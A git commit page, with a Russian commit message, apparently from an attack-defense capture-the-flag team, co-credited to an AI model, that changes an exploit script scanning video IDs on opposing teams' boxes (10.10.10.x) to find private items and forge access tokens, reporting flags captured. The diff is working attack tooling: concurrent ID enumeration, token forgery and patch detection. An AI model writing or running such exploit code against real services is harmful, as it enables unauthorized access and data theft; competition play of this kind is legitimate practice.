sploits: адаптивная глубина скана в форже токена
Фиксированная глубина 3000 не работала на быстрых боксах: на 10.10.10.1 id растут >1000/мин, приватные ролики чекера ушли на 12000 вниз от top и сплойт возвращался пустым. Теперь сканируем блоками по 2000 сверху вниз до 14000 и выходим, как только набрали 6 целей -- на медленных боксах это по-прежнему один блок. Проверено: 4 флага с 10.10.10.1 (глубина 12042), 3 с 10.10.10.5 (глубина 1653), на 10.10.10.2 корректно определился патч. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
@@ -16,7 +16,9 @@ USER_AGENTS = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
PORT = 5000
|
PORT = 5000
|
||||||
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко
|
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
||||||
|
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
||||||
|
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
||||||
WORKERS = 50
|
WORKERS = 50
|
||||||
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
||||||
WATCH_RX = re.compile(r"/watch/(\d+)")
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||||
@@ -96,11 +98,19 @@ def exploit(target_ip):
|
|||||||
except requests.RequestException:
|
except requests.RequestException:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
span = range(top, max(0, top - DEPTH), -1)
|
# Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин,
|
||||||
|
# и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз
|
||||||
|
# и останавливаемся, как только набрали достаточно целей.
|
||||||
|
private = []
|
||||||
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||||||
private = [v for v in ex.map(is_private, span) if v]
|
for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK):
|
||||||
|
span = range(lo, max(0, lo - BLOCK), -1)
|
||||||
|
private.extend(v for v in ex.map(is_private, span) if v)
|
||||||
|
if len(private) >= WANT_TARGETS:
|
||||||
|
break
|
||||||
private.sort(reverse=True)
|
private.sort(reverse=True)
|
||||||
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
|
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} "
|
||||||
|
f"(глубина до {top - min(private) if private else 0})",
|
||||||
file=sys.stderr, flush=True)
|
file=sys.stderr, flush=True)
|
||||||
|
|
||||||
fails = 0
|
fails = 0
|
||||||
|
|||||||
Reference in New Issue
Block a user